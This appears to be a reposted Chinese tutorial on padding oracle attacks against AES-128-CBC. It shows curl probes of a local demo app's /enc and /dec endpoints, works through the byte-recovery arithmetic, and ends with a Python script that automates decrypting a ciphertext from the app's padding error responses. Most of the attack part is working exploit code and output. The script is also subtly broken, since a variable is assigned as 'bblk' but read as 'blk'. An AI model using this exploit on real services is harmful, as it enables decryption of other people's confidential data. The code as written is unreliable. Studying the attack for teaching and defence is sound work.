该应用可以接收一个明文返回其密文(enc),也可以接收密文返回对应信息。
- $ curl http://localhost:5000/enc/See_you_in_Red_Square_at_4_pm
- 00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
-
- $ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
- valid
-
- $ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8466
- Error: Padding is incorrect.
作为攻击者,我们拿到的只有加密后的信息,目的就是要将其解密,查看明文内容:
- 00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
方便起见,我们假设已知服务器使用的是AES-128-CBC加密算法,且IV组合在密文头部。其实不知道也没关系,只不过需要多试几次罢了。根据前面介绍的原理,我们先将密文分割成128/8=16字节的3个块:
- block[0] = '00000000000000000000000000000000'
- block[1] = 'c8ab1c881b40d54d81d1efab429ad239'
- block[2] = 'dac1d6573e7c26d533ffc3cbc23a8455'
经测试,当服务器遇到填充错误会返回Error: Padding is incorrect.或者Error: PKCS#7 padding is incorrect.,那么这就可以作为我们Padding Oracle攻击的依据。
首先将block[1]最后一字节从0×00开始到0xff不断变异尝试,发现当值为0x3b时候出现了非Padding错误,此时:
- I2[15] = _C1[15] ^ _P2[15] = 0x3b ^ 0x01 = 0x3a
则明文最后一字节为:
- P2[15] = I2[15] xor C1[15] = 0x3a ^ 0x39 = 0x03
依此类推,不断从后往前猜解每个字节的值。一个简单的自动化脚本如下:
- #!/usr/bin/env python3
- import time
- import requests
- import binascii
-
- url = 'http://localhost:5000/dec/'
- data = '00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455'
- BSIZE = 16
-
- def test(data):
- r = requests.get(url + data)
- return r.text
-
- b = binascii.unhexlify(data)
- nblocks = int(len(b) / BSIZE)
- blocks = []
- print('nblocks:', nblocks)
- for i in range(nblocks):
- bblk = b[i*BSIZE: (i+1)*BSIZE]
- print(f'block[{i}] =', binascii.hexlify(blk))
- blocks.append(blk)
- print('iv:', b[:BSIZE])
-
- blockID = -1
- prevID = blockID - 1
-
- print(f'decrypting block[{blockID}], prev =', binascii.hexlify(blocks[prevID]))
-
- plaintext = bytearray(16)
- inter = bytearray(16)
- for byteIdx in range(BSIZE-1, -1, -1):
- prevBlock = bytearray(blocks[prevID])
- print(f'mutating block[{prevID}][{byteIdx}]')
- origin = prevBlock[byteIdx]
- padValue = BSIZE - byteIdx
- # 将byteIdx之前的值可以任意随机设置
- for i in range(byteIdx):
- prevBlock[i] = 0x11
- # 将byteIdx之后的值设置为令其明文为padValue的值
- for i in range(byteIdx + 1, BSIZE):
- prevBlock[i] = inter[i] ^ padValue
- print('begin:', prevBlock.hex())
- found = False
- for val in range(0x100):
- prevBlock[byteIdx] = val
- _blocks = blocks.copy()
- _blocks[prevID] = bytes(prevBlock)
- payload = b''.join(_blocks)
- payload = binascii.hexlify(payload).decode()
- resp = test(payload)
- # print(f'testing', binascii.hexlify(prevBlock), '->', resp, end='r')
- if 'incorrect' in resp:
- continue
- i2 = padValue ^ val
- p2 = origin ^ i2
- inter[byteIdx] = i2
- plaintext[byteIdx] = p2
- print(f'found c={val}, i={padValue}^{val}={i2}, o={origin}, p={p2}')
- found = True
- break
- if not found:
- print('Error: no valid value found')
- break
- print('plaintext =', plaintext)
(编辑:PHP编程网 - 黄冈站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|